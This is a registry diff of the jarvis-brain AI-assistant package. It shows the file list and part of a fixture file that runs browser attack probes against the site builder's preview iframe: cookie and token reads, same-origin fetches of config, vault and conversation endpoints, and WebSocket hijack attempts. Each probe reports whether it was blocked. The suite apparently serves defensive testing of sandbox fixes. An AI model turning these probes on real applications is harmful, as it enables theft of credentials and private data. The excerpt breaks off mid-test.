@shykaruu/jarvis-brain 0.4.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (330) hide show
  1. package/LICENSE +153 -0
  2. package/README.md +428 -0
  3. package/bin/jarvis.ts +449 -0
  4. package/package.json +79 -0
  5. package/roles/activity-observer.yaml +60 -0
  6. package/roles/ceo-founder.yaml +144 -0
  7. package/roles/chief-of-staff.yaml +158 -0
  8. package/roles/dev-lead.yaml +182 -0
  9. package/roles/executive-assistant.yaml +77 -0
  10. package/roles/marketing-director.yaml +168 -0
  11. package/roles/personal-assistant.yaml +266 -0
  12. package/roles/research-specialist.yaml +60 -0
  13. package/roles/specialists/content-writer.yaml +53 -0
  14. package/roles/specialists/customer-support.yaml +57 -0
  15. package/roles/specialists/data-analyst.yaml +57 -0
  16. package/roles/specialists/financial-analyst.yaml +56 -0
  17. package/roles/specialists/hr-specialist.yaml +55 -0
  18. package/roles/specialists/legal-advisor.yaml +58 -0
  19. package/roles/specialists/marketing-strategist.yaml +56 -0
  20. package/roles/specialists/project-coordinator.yaml +55 -0
  21. package/roles/specialists/research-analyst.yaml +58 -0
  22. package/roles/specialists/software-engineer.yaml +57 -0
  23. package/roles/specialists/system-administrator.yaml +57 -0
  24. package/roles/system-admin.yaml +76 -0
  25. package/scripts/ensure-bun.cjs +16 -0
  26. package/src/actions/README.md +421 -0
  27. package/src/actions/app-control/desktop-controller.test.ts +26 -0
  28. package/src/actions/app-control/desktop-controller.ts +438 -0
  29. package/src/actions/app-control/interface.ts +64 -0
  30. package/src/actions/app-control/linux.ts +273 -0
  31. package/src/actions/app-control/macos.ts +54 -0
  32. package/src/actions/app-control/sidecar-launcher.test.ts +23 -0
  33. package/src/actions/app-control/sidecar-launcher.ts +286 -0
  34. package/src/actions/app-control/windows.ts +44 -0
  35. package/src/actions/browser/cdp.ts +138 -0
  36. package/src/actions/browser/chrome-launcher.ts +261 -0
  37. package/src/actions/browser/session.ts +506 -0
  38. package/src/actions/browser/stealth.ts +49 -0
  39. package/src/actions/index.ts +20 -0
  40. package/src/actions/terminal/executor.ts +157 -0
  41. package/src/actions/terminal/wsl-bridge.ts +126 -0
  42. package/src/actions/test.ts +93 -0
  43. package/src/actions/tools/agents.ts +363 -0
  44. package/src/actions/tools/builtin.ts +950 -0
  45. package/src/actions/tools/commitments.ts +192 -0
  46. package/src/actions/tools/content.ts +217 -0
  47. package/src/actions/tools/delegate.ts +147 -0
  48. package/src/actions/tools/desktop.test.ts +55 -0
  49. package/src/actions/tools/desktop.ts +305 -0
  50. package/src/actions/tools/documents.ts +169 -0
  51. package/src/actions/tools/goals.ts +376 -0
  52. package/src/actions/tools/local-tools-guard.ts +31 -0
  53. package/src/actions/tools/registry.ts +173 -0
  54. package/src/actions/tools/research.ts +111 -0
  55. package/src/actions/tools/sidecar-list.ts +57 -0
  56. package/src/actions/tools/sidecar-route.ts +105 -0
  57. package/src/actions/tools/workflows.ts +216 -0
  58. package/src/agents/agent.ts +132 -0
  59. package/src/agents/delegation.ts +107 -0
  60. package/src/agents/hierarchy.ts +113 -0
  61. package/src/agents/index.ts +19 -0
  62. package/src/agents/messaging.ts +125 -0
  63. package/src/agents/orchestrator.ts +592 -0
  64. package/src/agents/role-discovery.ts +61 -0
  65. package/src/agents/sub-agent-runner.ts +309 -0
  66. package/src/agents/task-manager.ts +151 -0
  67. package/src/authority/approval-delivery.ts +59 -0
  68. package/src/authority/approval.ts +196 -0
  69. package/src/authority/audit.ts +158 -0
  70. package/src/authority/authority.test.ts +519 -0
  71. package/src/authority/deferred-executor.ts +103 -0
  72. package/src/authority/emergency.ts +66 -0
  73. package/src/authority/engine.ts +301 -0
  74. package/src/authority/index.ts +12 -0
  75. package/src/authority/learning.ts +111 -0
  76. package/src/authority/tool-action-map.ts +74 -0
  77. package/src/awareness/analytics.ts +466 -0
  78. package/src/awareness/awareness.test.ts +332 -0
  79. package/src/awareness/capture-engine.ts +305 -0
  80. package/src/awareness/context-graph.ts +130 -0
  81. package/src/awareness/context-tracker.ts +349 -0
  82. package/src/awareness/index.ts +25 -0
  83. package/src/awareness/intelligence.ts +321 -0
  84. package/src/awareness/ocr-engine.ts +88 -0
  85. package/src/awareness/service.ts +528 -0
  86. package/src/awareness/struggle-detector.ts +342 -0
  87. package/src/awareness/suggestion-engine.ts +476 -0
  88. package/src/awareness/types.ts +201 -0
  89. package/src/cli/autostart.ts +417 -0
  90. package/src/cli/deps.ts +449 -0
  91. package/src/cli/doctor.ts +238 -0
  92. package/src/cli/helpers.ts +401 -0
  93. package/src/cli/onboard.ts +827 -0
  94. package/src/cli/uninstall.test.ts +37 -0
  95. package/src/cli/uninstall.ts +202 -0
  96. package/src/comms/README.md +329 -0
  97. package/src/comms/auth-error.html +48 -0
  98. package/src/comms/channels/discord.ts +228 -0
  99. package/src/comms/channels/signal.ts +56 -0
  100. package/src/comms/channels/telegram.ts +316 -0
  101. package/src/comms/channels/whatsapp.ts +60 -0
  102. package/src/comms/channels.test.ts +173 -0
  103. package/src/comms/dashboard-auth.ts +75 -0
  104. package/src/comms/desktop-notify.ts +114 -0
  105. package/src/comms/example.ts +129 -0
  106. package/src/comms/index.ts +129 -0
  107. package/src/comms/streaming.ts +149 -0
  108. package/src/comms/voice.test.ts +504 -0
  109. package/src/comms/voice.ts +341 -0
  110. package/src/comms/websocket.test.ts +409 -0
  111. package/src/comms/websocket.ts +669 -0
  112. package/src/config/README.md +389 -0
  113. package/src/config/index.ts +6 -0
  114. package/src/config/loader.test.ts +183 -0
  115. package/src/config/loader.ts +148 -0
  116. package/src/config/types.ts +293 -0
  117. package/src/daemon/README.md +232 -0
  118. package/src/daemon/agent-service-interface.ts +9 -0
  119. package/src/daemon/agent-service.ts +667 -0
  120. package/src/daemon/api-routes.ts +3067 -0
  121. package/src/daemon/background-agent-service.ts +396 -0
  122. package/src/daemon/background-agent.test.ts +78 -0
  123. package/src/daemon/channel-service.ts +201 -0
  124. package/src/daemon/commitment-executor.ts +297 -0
  125. package/src/daemon/dashboard-auth.test.ts +170 -0
  126. package/src/daemon/event-classifier.ts +239 -0
  127. package/src/daemon/event-coalescer.ts +123 -0
  128. package/src/daemon/event-reactor.ts +214 -0
  129. package/src/daemon/flock.c +7 -0
  130. package/src/daemon/health.ts +220 -0
  131. package/src/daemon/index.ts +1070 -0
  132. package/src/daemon/llm-settings.test.ts +78 -0
  133. package/src/daemon/llm-settings.ts +450 -0
  134. package/src/daemon/observer-service.ts +150 -0
  135. package/src/daemon/pid.test.ts +283 -0
  136. package/src/daemon/pid.ts +224 -0
  137. package/src/daemon/research-queue.ts +155 -0
  138. package/src/daemon/services.ts +175 -0
  139. package/src/daemon/ws-service.ts +926 -0
  140. package/src/global.d.ts +4 -0
  141. package/src/goals/accountability.ts +240 -0
  142. package/src/goals/awareness-bridge.ts +185 -0
  143. package/src/goals/estimator.ts +185 -0
  144. package/src/goals/events.ts +28 -0
  145. package/src/goals/goals.test.ts +400 -0
  146. package/src/goals/integration.test.ts +329 -0
  147. package/src/goals/nl-builder.test.ts +220 -0
  148. package/src/goals/nl-builder.ts +256 -0
  149. package/src/goals/rhythm.test.ts +177 -0
  150. package/src/goals/rhythm.ts +275 -0
  151. package/src/goals/service.test.ts +135 -0
  152. package/src/goals/service.ts +407 -0
  153. package/src/goals/types.ts +106 -0
  154. package/src/goals/workflow-bridge.ts +96 -0
  155. package/src/integrations/google-api.ts +134 -0
  156. package/src/integrations/google-auth.ts +175 -0
  157. package/src/llm/README.md +291 -0
  158. package/src/llm/anthropic.ts +400 -0
  159. package/src/llm/gemini.ts +380 -0
  160. package/src/llm/groq.ts +406 -0
  161. package/src/llm/history.ts +147 -0
  162. package/src/llm/index.ts +21 -0
  163. package/src/llm/manager.ts +226 -0
  164. package/src/llm/ollama.ts +316 -0
  165. package/src/llm/openai.ts +411 -0
  166. package/src/llm/openrouter.ts +390 -0
  167. package/src/llm/provider.test.ts +487 -0
  168. package/src/llm/provider.ts +61 -0
  169. package/src/llm/test.ts +88 -0
  170. package/src/observers/README.md +278 -0
  171. package/src/observers/calendar.ts +113 -0
  172. package/src/observers/clipboard.ts +136 -0
  173. package/src/observers/email.ts +109 -0
  174. package/src/observers/example.ts +58 -0
  175. package/src/observers/file-watcher.ts +124 -0
  176. package/src/observers/index.ts +159 -0
  177. package/src/observers/notifications.ts +197 -0
  178. package/src/observers/observers.test.ts +203 -0
  179. package/src/observers/processes.ts +225 -0
  180. package/src/personality/README.md +61 -0
  181. package/src/personality/adapter.ts +196 -0
  182. package/src/personality/index.ts +20 -0
  183. package/src/personality/learner.ts +209 -0
  184. package/src/personality/model.ts +132 -0
  185. package/src/personality/personality.test.ts +236 -0
  186. package/src/roles/README.md +252 -0
  187. package/src/roles/authority.ts +120 -0
  188. package/src/roles/example-usage.ts +198 -0
  189. package/src/roles/index.ts +42 -0
  190. package/src/roles/loader.ts +143 -0
  191. package/src/roles/prompt-builder.ts +218 -0
  192. package/src/roles/test-multi.ts +102 -0
  193. package/src/roles/test-role.yaml +77 -0
  194. package/src/roles/test-utils.ts +93 -0
  195. package/src/roles/test.ts +106 -0
  196. package/src/roles/tool-guide.ts +195 -0
  197. package/src/roles/types.ts +36 -0
  198. package/src/roles/utils.ts +200 -0
  199. package/src/scripts/google-setup.ts +168 -0
  200. package/src/sidecar/connection.ts +179 -0
  201. package/src/sidecar/index.ts +6 -0
  202. package/src/sidecar/manager.ts +542 -0
  203. package/src/sidecar/protocol.ts +85 -0
  204. package/src/sidecar/rpc.ts +161 -0
  205. package/src/sidecar/scheduler.ts +136 -0
  206. package/src/sidecar/types.ts +112 -0
  207. package/src/sidecar/validator.ts +144 -0
  208. package/src/sites/builder-tools.ts +215 -0
  209. package/src/sites/dev-server-manager.ts +286 -0
  210. package/src/sites/fixtures/security-test-site/.jarvis-project.json +6 -0
  211. package/src/sites/fixtures/security-test-site/Makefile +15 -0
  212. package/src/sites/fixtures/security-test-site/README.md +18 -0
  213. package/src/sites/fixtures/security-test-site/index.html +12 -0
  214. package/src/sites/fixtures/security-test-site/index.ts +16 -0
  215. package/src/sites/fixtures/security-test-site/package.json +13 -0
  216. package/src/sites/fixtures/security-test-site/src/app.tsx +780 -0
  217. package/src/sites/fixtures/security-test-site/tsconfig.json +10 -0
  218. package/src/sites/git-manager.ts +240 -0
  219. package/src/sites/github-manager.ts +355 -0
  220. package/src/sites/index.ts +25 -0
  221. package/src/sites/project-manager.ts +389 -0
  222. package/src/sites/proxy.ts +133 -0
  223. package/src/sites/service.ts +136 -0
  224. package/src/sites/templates.ts +169 -0
  225. package/src/sites/types.ts +89 -0
  226. package/src/user/profile-followup.test.ts +84 -0
  227. package/src/user/profile-followup.ts +185 -0
  228. package/src/user/profile.ts +224 -0
  229. package/src/vault/README.md +110 -0
  230. package/src/vault/awareness.ts +341 -0
  231. package/src/vault/commitments.ts +299 -0
  232. package/src/vault/content-pipeline.ts +270 -0
  233. package/src/vault/conversations.ts +173 -0
  234. package/src/vault/dashboard-sessions.ts +44 -0
  235. package/src/vault/documents.ts +130 -0
  236. package/src/vault/entities.ts +185 -0
  237. package/src/vault/extractor.test.ts +356 -0
  238. package/src/vault/extractor.ts +345 -0
  239. package/src/vault/facts.ts +190 -0
  240. package/src/vault/goals.ts +477 -0
  241. package/src/vault/index.ts +87 -0
  242. package/src/vault/keychain.ts +99 -0
  243. package/src/vault/observations.ts +115 -0
  244. package/src/vault/relationships.ts +178 -0
  245. package/src/vault/retrieval.test.ts +139 -0
  246. package/src/vault/retrieval.ts +258 -0
  247. package/src/vault/schema.ts +709 -0
  248. package/src/vault/settings.ts +38 -0
  249. package/src/vault/user-profile.test.ts +113 -0
  250. package/src/vault/user-profile.ts +176 -0
  251. package/src/vault/vectors.ts +92 -0
  252. package/src/vault/webapp-template-seeds.ts +116 -0
  253. package/src/vault/webapp-templates.ts +244 -0
  254. package/src/vault/workflows.ts +403 -0
  255. package/src/workflows/auto-suggest.ts +290 -0
  256. package/src/workflows/engine.ts +366 -0
  257. package/src/workflows/events.ts +24 -0
  258. package/src/workflows/executor.ts +207 -0
  259. package/src/workflows/nl-builder.ts +198 -0
  260. package/src/workflows/nodes/actions/agent-task.ts +73 -0
  261. package/src/workflows/nodes/actions/calendar-action.ts +85 -0
  262. package/src/workflows/nodes/actions/code-execution.ts +73 -0
  263. package/src/workflows/nodes/actions/discord.ts +77 -0
  264. package/src/workflows/nodes/actions/file-write.ts +73 -0
  265. package/src/workflows/nodes/actions/gmail.ts +69 -0
  266. package/src/workflows/nodes/actions/http-request.ts +117 -0
  267. package/src/workflows/nodes/actions/notification.ts +85 -0
  268. package/src/workflows/nodes/actions/run-tool.ts +55 -0
  269. package/src/workflows/nodes/actions/send-message.ts +82 -0
  270. package/src/workflows/nodes/actions/shell-command.ts +76 -0
  271. package/src/workflows/nodes/actions/telegram.ts +60 -0
  272. package/src/workflows/nodes/builtin.ts +119 -0
  273. package/src/workflows/nodes/error/error-handler.ts +37 -0
  274. package/src/workflows/nodes/error/fallback.ts +47 -0
  275. package/src/workflows/nodes/error/retry.ts +82 -0
  276. package/src/workflows/nodes/logic/delay.ts +42 -0
  277. package/src/workflows/nodes/logic/if-else.ts +41 -0
  278. package/src/workflows/nodes/logic/loop.ts +90 -0
  279. package/src/workflows/nodes/logic/merge.ts +38 -0
  280. package/src/workflows/nodes/logic/race.ts +40 -0
  281. package/src/workflows/nodes/logic/switch.ts +59 -0
  282. package/src/workflows/nodes/logic/template-render.ts +53 -0
  283. package/src/workflows/nodes/logic/variable-get.ts +37 -0
  284. package/src/workflows/nodes/logic/variable-set.ts +59 -0
  285. package/src/workflows/nodes/registry.ts +99 -0
  286. package/src/workflows/nodes/transform/aggregate.ts +99 -0
  287. package/src/workflows/nodes/transform/csv-parse.ts +70 -0
  288. package/src/workflows/nodes/transform/json-parse.ts +63 -0
  289. package/src/workflows/nodes/transform/map-filter.ts +84 -0
  290. package/src/workflows/nodes/transform/regex-match.ts +89 -0
  291. package/src/workflows/nodes/triggers/calendar.ts +33 -0
  292. package/src/workflows/nodes/triggers/clipboard.ts +32 -0
  293. package/src/workflows/nodes/triggers/cron.ts +40 -0
  294. package/src/workflows/nodes/triggers/email.ts +40 -0
  295. package/src/workflows/nodes/triggers/file-change.ts +45 -0
  296. package/src/workflows/nodes/triggers/git.ts +46 -0
  297. package/src/workflows/nodes/triggers/manual.ts +23 -0
  298. package/src/workflows/nodes/triggers/poll.ts +81 -0
  299. package/src/workflows/nodes/triggers/process.ts +44 -0
  300. package/src/workflows/nodes/triggers/screen-event.ts +37 -0
  301. package/src/workflows/nodes/triggers/webhook.ts +39 -0
  302. package/src/workflows/safe-eval.ts +139 -0
  303. package/src/workflows/template.ts +118 -0
  304. package/src/workflows/triggers/cron.ts +311 -0
  305. package/src/workflows/triggers/manager.ts +285 -0
  306. package/src/workflows/triggers/observer-bridge.ts +172 -0
  307. package/src/workflows/triggers/poller.ts +201 -0
  308. package/src/workflows/triggers/screen-condition.ts +218 -0
  309. package/src/workflows/triggers/triggers.test.ts +740 -0
  310. package/src/workflows/triggers/webhook.ts +191 -0
  311. package/src/workflows/types.ts +133 -0
  312. package/src/workflows/variables.ts +72 -0
  313. package/src/workflows/workflows.test.ts +383 -0
  314. package/src/workflows/yaml.ts +104 -0
  315. package/ui/dist/index-3gr23jt9.js +112614 -0
  316. package/ui/dist/index-9vmj8127.css +14239 -0
  317. package/ui/dist/index-hy9pc1gm.js +112873 -0
  318. package/ui/dist/index-j2ep5d1w.js +112374 -0
  319. package/ui/dist/index-jt00vjqs.js +112858 -0
  320. package/ui/dist/index-k9ymx5qb.js +112374 -0
  321. package/ui/dist/index.html +16 -0
  322. package/ui/public/audio/pcm-capture-processor.js +11 -0
  323. package/ui/public/openwakeword/models/embedding_model.onnx +0 -0
  324. package/ui/public/openwakeword/models/hey_jarvis_v0.1.onnx +0 -0
  325. package/ui/public/openwakeword/models/melspectrogram.onnx +0 -0
  326. package/ui/public/openwakeword/models/silero_vad.onnx +0 -0
  327. package/ui/public/ort/ort-wasm-simd-threaded.jsep.mjs +106 -0
  328. package/ui/public/ort/ort-wasm-simd-threaded.jsep.wasm +0 -0
  329. package/ui/public/ort/ort-wasm-simd-threaded.mjs +59 -0
  330. package/ui/public/ort/ort-wasm-simd-threaded.wasm +0 -0
@@ -0,0 +1,780 @@
1
+ import React, { useState, useEffect } from "react";
2
+ import { createRoot } from "react-dom/client";
3
+
4
+ type TestResult = {
5
+ name: string;
6
+ description: string;
7
+ auditRef: string;
8
+ status: "pending" | "blocked" | "vulnerable" | "error";
9
+ detail: string;
10
+ };
11
+
12
+ /**
13
+ * Security Test Suite for Site Builder Proxy
14
+ *
15
+ * Each test attempts an attack described in the security audit.
16
+ * If the sandbox/security fixes are working, all tests should show BLOCKED.
17
+ * If any show VULNERABLE, the corresponding fix is ineffective.
18
+ */
19
+ function SecurityTests() {
20
+ const [results, setResults] = useState<TestResult[]>([]);
21
+ const [running, setRunning] = useState(false);
22
+
23
+ const updateResult = (index: number, update: Partial<TestResult>) => {
24
+ setResults((prev) => {
25
+ const next = [...prev];
26
+ next[index] = { ...next[index]!, ...update };
27
+ return next;
28
+ });
29
+ };
30
+
31
+ const runTests = async () => {
32
+ setRunning(true);
33
+
34
+ const tests: TestResult[] = [
35
+ // --- #2: Same-Origin Iframe via Proxy Path ---
36
+ {
37
+ name: "Same-Origin API Fetch",
38
+ description: "Attempts fetch('/api/health') — if same-origin and no sandbox, this returns Jarvis health data.",
39
+ auditRef: "#2 — Same-Origin Iframe via Proxy Path",
40
+ status: "pending",
41
+ detail: "",
42
+ },
43
+ {
44
+ name: "Cookie Theft via document.cookie",
45
+ description: "Reads document.cookie to check if auth token is accessible to iframe JS.",
46
+ auditRef: "#2 — Same-Origin + Cookie Access",
47
+ status: "pending",
48
+ detail: "",
49
+ },
50
+ {
51
+ name: "Vault Data Exfiltration",
52
+ description: "Attempts fetch('/api/vault/entities') to read vault entities through the proxy.",
53
+ auditRef: "#2 — Same-Origin Iframe via Proxy Path",
54
+ status: "pending",
55
+ detail: "",
56
+ },
57
+ {
58
+ name: "Config Exfiltration",
59
+ description: "Attempts fetch('/api/config') to steal Jarvis config including API keys.",
60
+ auditRef: "#2 — Same-Origin Iframe via Proxy Path",
61
+ status: "pending",
62
+ detail: "",
63
+ },
64
+ // --- #5: Iframe Sandbox ---
65
+ {
66
+ name: "Top-Frame Navigation",
67
+ description: "Attempts to read window.top.location — same-origin would allow reading the dashboard URL.",
68
+ auditRef: "#5 — No sandbox Attribute on Preview Iframe",
69
+ status: "pending",
70
+ detail: "",
71
+ },
72
+ {
73
+ name: "Popup Opening",
74
+ description: "Attempts window.open() to spawn a popup window from the iframe.",
75
+ auditRef: "#5 — No sandbox Attribute on Preview Iframe",
76
+ status: "pending",
77
+ detail: "",
78
+ },
79
+ {
80
+ name: "Parent postMessage Sniffing",
81
+ description: "Sends a postMessage to window.parent to test if the dashboard processes it.",
82
+ auditRef: "#2 — Same-Origin escalation via postMessage",
83
+ status: "pending",
84
+ detail: "",
85
+ },
86
+ {
87
+ name: "localStorage / sessionStorage Access",
88
+ description: "Checks if dashboard-specific keys are accessible via localStorage (same-origin leak).",
89
+ auditRef: "#2 — Same-Origin Iframe via Proxy Path",
90
+ status: "pending",
91
+ detail: "",
92
+ },
93
+ {
94
+ name: "Fetch with Credentials",
95
+ description: "Attempts fetch with credentials:'include' to send auth cookies cross-origin.",
96
+ auditRef: "#2 — Cookie-based escalation",
97
+ status: "pending",
98
+ detail: "",
99
+ },
100
+ // --- #3: WebSocket ---
101
+ {
102
+ name: "WebSocket to Jarvis /ws",
103
+ description: "Attempts new WebSocket('/ws') to open a direct WebSocket to the Jarvis daemon.",
104
+ auditRef: "#3 — Unfiltered WebSocket HMR Tunnel",
105
+ status: "pending",
106
+ detail: "",
107
+ },
108
+ // --- #5 continued: capabilities ---
109
+ {
110
+ name: "Clipboard Read",
111
+ description: "Attempts navigator.clipboard.readText() to read clipboard contents.",
112
+ auditRef: "#5 — Iframe capability restriction",
113
+ status: "pending",
114
+ detail: "",
115
+ },
116
+ {
117
+ name: "Form Submission to API",
118
+ description: "Creates and submits a form targeting /api/health to test form-based CSRF.",
119
+ auditRef: "#2 — Same-Origin form submission",
120
+ status: "pending",
121
+ detail: "",
122
+ },
123
+ // --- Additional attack vectors ---
124
+ {
125
+ name: "Service Worker Registration",
126
+ description: "Attempts to register a Service Worker to intercept all future requests from this origin.",
127
+ auditRef: "#2 — Persistent same-origin hijack",
128
+ status: "pending",
129
+ detail: "",
130
+ },
131
+ {
132
+ name: "IndexedDB Access (Dashboard Data)",
133
+ description: "Scans IndexedDB for dashboard databases to exfiltrate structured data.",
134
+ auditRef: "#2 — Same-Origin storage",
135
+ status: "pending",
136
+ detail: "",
137
+ },
138
+ {
139
+ name: "Parent DOM Access",
140
+ description: "Attempts to read/modify the parent frame's DOM (window.parent.document).",
141
+ auditRef: "#2 — Same-Origin DOM access",
142
+ status: "pending",
143
+ detail: "",
144
+ },
145
+ {
146
+ name: "Fetch Conversation History",
147
+ description: "Attempts to read /api/conversations to steal chat history with the AI.",
148
+ auditRef: "#2 — Sensitive data exfiltration",
149
+ status: "pending",
150
+ detail: "",
151
+ },
152
+ {
153
+ name: "Mutate Vault — Create Entity",
154
+ description: "Attempts POST /api/vault/entities to write data into the vault.",
155
+ auditRef: "#2 — Write escalation via API",
156
+ status: "pending",
157
+ detail: "",
158
+ },
159
+ {
160
+ name: "Delete Content via API",
161
+ description: "Attempts DELETE on a known endpoint to test destructive write access.",
162
+ auditRef: "#2 — Destructive write escalation",
163
+ status: "pending",
164
+ detail: "",
165
+ },
166
+ {
167
+ name: "Exfiltrate via Image Tag",
168
+ description: "Creates an <img> pointing to an external URL with stolen data in the query string.",
169
+ auditRef: "#2 — Data exfiltration via side channel",
170
+ status: "pending",
171
+ detail: "",
172
+ },
173
+ {
174
+ name: "WebSocket to Dashboard Port",
175
+ description: "Attempts WebSocket to the dashboard's port (:3142/ws) directly rather than relative path.",
176
+ auditRef: "#3 — Cross-port WebSocket",
177
+ status: "pending",
178
+ detail: "",
179
+ },
180
+ {
181
+ name: "Fetch Site Builder Files",
182
+ description: "Attempts to read project files via /api/sites/projects to access source code.",
183
+ auditRef: "#2 — Site builder API access",
184
+ status: "pending",
185
+ detail: "",
186
+ },
187
+ {
188
+ name: "History / Location Sniffing",
189
+ description: "Attempts to read window.top.location or history.length to fingerprint user activity.",
190
+ auditRef: "#5 — Information disclosure",
191
+ status: "pending",
192
+ detail: "",
193
+ },
194
+ {
195
+ name: "SharedWorker Cross-Tab",
196
+ description: "Attempts to create a SharedWorker that persists across tabs and intercepts messages.",
197
+ auditRef: "#2 — Persistent cross-tab hijack",
198
+ status: "pending",
199
+ detail: "",
200
+ },
201
+ {
202
+ name: "BroadcastChannel Eavesdrop",
203
+ description: "Opens a BroadcastChannel to listen for inter-tab messages from the dashboard.",
204
+ auditRef: "#2 — Cross-tab communication sniffing",
205
+ status: "pending",
206
+ detail: "",
207
+ },
208
+ {
209
+ name: "Credential Prompt Phishing",
210
+ description: "Attempts to show a login dialog via prompt()/confirm() to phish credentials.",
211
+ auditRef: "#5 — User deception from iframe",
212
+ status: "pending",
213
+ detail: "",
214
+ },
215
+ {
216
+ name: "Download Trigger",
217
+ description: "Attempts to trigger a file download via a dynamically created <a download> link.",
218
+ auditRef: "#5 — Unsolicited downloads",
219
+ status: "pending",
220
+ detail: "",
221
+ },
222
+ {
223
+ name: "Geolocation Access",
224
+ description: "Attempts navigator.geolocation.getCurrentPosition() to read user location.",
225
+ auditRef: "#5 — Iframe capability restriction",
226
+ status: "pending",
227
+ detail: "",
228
+ },
229
+ {
230
+ name: "Camera/Mic Access",
231
+ description: "Attempts navigator.mediaDevices.getUserMedia() to access camera or microphone.",
232
+ auditRef: "#5 — Iframe capability restriction",
233
+ status: "pending",
234
+ detail: "",
235
+ },
236
+ ];
237
+
238
+ setResults(tests);
239
+ let i = 0;
240
+
241
+ // Test 0: Same-Origin API Fetch
242
+ try {
243
+ const resp = await fetch("/api/health", { signal: AbortSignal.timeout(3000) });
244
+ const data = await resp.text();
245
+ if (resp.ok) {
246
+ updateResult(i, { status: "vulnerable", detail: `Got ${resp.status}: ${data.slice(0, 200)}` });
247
+ } else {
248
+ updateResult(i, { status: "blocked", detail: `Returned ${resp.status}` });
249
+ }
250
+ } catch (err) {
251
+ updateResult(i, { status: "blocked", detail: `fetch() threw: ${(err as Error).message}` });
252
+ }
253
+ i++;
254
+
255
+ // Test 1: Cookie Theft
256
+ try {
257
+ const cookies = document.cookie;
258
+ if (cookies && cookies.includes("token=")) {
259
+ updateResult(i, { status: "vulnerable", detail: `Cookies readable: ${cookies.slice(0, 100)}` });
260
+ } else if (cookies) {
261
+ updateResult(i, { status: "blocked", detail: `Cookies exist but no token found: "${cookies.slice(0, 50)}"` });
262
+ } else {
263
+ updateResult(i, { status: "blocked", detail: "document.cookie is empty (HttpOnly or sandboxed)" });
264
+ }
265
+ } catch (err) {
266
+ updateResult(i, { status: "blocked", detail: `Threw: ${(err as Error).message}` });
267
+ }
268
+ i++;
269
+
270
+ // Test 2: Vault Data Exfiltration
271
+ try {
272
+ const resp = await fetch("/api/vault/entities", { signal: AbortSignal.timeout(3000) });
273
+ const data = await resp.text();
274
+ if (resp.ok) {
275
+ updateResult(i, { status: "vulnerable", detail: `Got entities: ${data.slice(0, 200)}` });
276
+ } else {
277
+ updateResult(i, { status: "blocked", detail: `Returned ${resp.status}` });
278
+ }
279
+ } catch (err) {
280
+ updateResult(i, { status: "blocked", detail: `fetch() threw: ${(err as Error).message}` });
281
+ }
282
+ i++;
283
+
284
+ // Test 3: Config Exfiltration
285
+ try {
286
+ const resp = await fetch("/api/config", { signal: AbortSignal.timeout(3000) });
287
+ const data = await resp.text();
288
+ if (resp.ok && data.includes("api_key")) {
289
+ updateResult(i, { status: "vulnerable", detail: `Config leaked: ${data.slice(0, 200)}` });
290
+ } else if (resp.ok) {
291
+ updateResult(i, { status: "vulnerable", detail: `Got response: ${data.slice(0, 200)}` });
292
+ } else {
293
+ updateResult(i, { status: "blocked", detail: `Returned ${resp.status}` });
294
+ }
295
+ } catch (err) {
296
+ updateResult(i, { status: "blocked", detail: `fetch() threw: ${(err as Error).message}` });
297
+ }
298
+ i++;
299
+
300
+ // Test 4: Top-Frame Navigation
301
+ try {
302
+ const topHref = window.top?.location?.href;
303
+ updateResult(i, { status: "vulnerable", detail: `Can read top frame: ${topHref?.slice(0, 100)}` });
304
+ } catch (err) {
305
+ updateResult(i, { status: "blocked", detail: `Cross-origin block: ${(err as Error).message}` });
306
+ }
307
+ i++;
308
+
309
+ // Test 5: Popup Opening
310
+ try {
311
+ const popup = window.open("about:blank", "_blank", "width=1,height=1");
312
+ if (popup) {
313
+ popup.close();
314
+ updateResult(i, { status: "vulnerable", detail: "window.open() succeeded" });
315
+ } else {
316
+ updateResult(i, { status: "blocked", detail: "window.open() returned null (blocked)" });
317
+ }
318
+ } catch (err) {
319
+ updateResult(i, { status: "blocked", detail: `Threw: ${(err as Error).message}` });
320
+ }
321
+ i++;
322
+
323
+ // Test 6: Parent postMessage
324
+ try {
325
+ window.parent.postMessage({ type: "security-test", payload: "probe" }, "*");
326
+ updateResult(i, { status: "blocked", detail: "postMessage sent (no way to confirm receipt — sandbox blocks same-origin reply)" });
327
+ } catch (err) {
328
+ updateResult(i, { status: "blocked", detail: `Threw: ${(err as Error).message}` });
329
+ }
330
+ i++;
331
+
332
+ // Test 7: localStorage / sessionStorage
333
+ try {
334
+ const keys = Object.keys(localStorage);
335
+ const dashboardKeys = keys.filter(
336
+ (k) => k.startsWith("jarvis") || k === "conversations" || k === "auth" || k === "token"
337
+ );
338
+ if (dashboardKeys.length > 0) {
339
+ updateResult(i, { status: "vulnerable", detail: `Dashboard storage leaked: ${dashboardKeys.slice(0, 5).join(", ")}` });
340
+ } else {
341
+ updateResult(i, {
342
+ status: "blocked",
343
+ detail: keys.length > 0
344
+ ? `Storage accessible but only own keys (${keys.join(", ")}) — not dashboard data`
345
+ : "localStorage empty or inaccessible",
346
+ });
347
+ }
348
+ } catch (err) {
349
+ updateResult(i, { status: "blocked", detail: `Storage blocked: ${(err as Error).message}` });
350
+ }
351
+ i++;
352
+
353
+ // Test 8: Fetch with credentials
354
+ try {
355
+ const resp = await fetch("/api/vault/entities", { credentials: "include", signal: AbortSignal.timeout(3000) });
356
+ if (resp.ok) {
357
+ const data = await resp.text();
358
+ updateResult(i, { status: "vulnerable", detail: `Got data with cookies: ${data.slice(0, 200)}` });
359
+ } else {
360
+ updateResult(i, { status: "blocked", detail: `Returned ${resp.status}` });
361
+ }
362
+ } catch (err) {
363
+ updateResult(i, { status: "blocked", detail: `fetch() threw: ${(err as Error).message}` });
364
+ }
365
+ i++;
366
+
367
+ // Test 9: WebSocket to Jarvis /ws
368
+ try {
369
+ const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
370
+ const wsUrl = `${protocol}//${window.location.host}/ws`;
371
+ const ws = new WebSocket(wsUrl);
372
+ await new Promise<void>((resolve) => {
373
+ const timeout = setTimeout(() => { ws.close(); updateResult(9, { status: "blocked", detail: "Connection timed out (3s)" }); resolve(); }, 3000);
374
+ ws.onopen = () => { clearTimeout(timeout); ws.close(); updateResult(9, { status: "vulnerable", detail: "WebSocket connected to /ws!" }); resolve(); };
375
+ ws.onerror = () => { clearTimeout(timeout); updateResult(9, { status: "blocked", detail: "WebSocket connection refused" }); resolve(); };
376
+ });
377
+ } catch (err) {
378
